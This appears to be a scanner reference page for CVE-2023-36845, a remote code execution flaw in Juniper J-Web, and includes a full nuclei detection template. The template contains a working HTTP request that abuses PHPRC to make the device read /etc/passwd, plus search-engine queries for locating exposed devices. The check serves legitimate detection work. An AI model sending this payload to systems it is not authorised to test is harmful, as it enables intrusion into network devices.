Juniper J-Web - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-11-13; known to be used by ransomware.

criticalseverity

9.8CVSS score

95.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: POST /?PHPRC=/dev/fd/0
Positive when: matches /root:.*:0:0:/ AND contains "Juniper" AND status 200

Run it with nuclei: nuclei -id CVE-2023-36845 -u <target>

The full check

id: CVE-2023-36845

info:
  name: Juniper J-Web - Remote Code Execution
  author: yaser_s
  severity: critical
  description: |
    A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  reference:
    - https://vulncheck.com/blog/juniper-cve-2023-36845
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36845
    - https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
    - http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
    - https://supportportal.juniper.net/JSA72300
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-36845
    cwe-id: CWE-473
    epss-score: 0.9507
    epss-percentile: 0.99863
    cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: juniper
    product: junos
    shodan-query:
      - title:"Juniper Web Device Manager"
      - http.title:"juniper web device manager"
    fofa-query: title="juniper web device manager"
    google-query: intitle:"juniper web device manager"
  tags: cve,cve2023,packetstorm,rce,unauth,juniper,kev,vkev,vuln

http:
  - raw:
      - |
        POST /?PHPRC=/dev/fd/0 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        auto_prepend_file="/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "Juniper"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from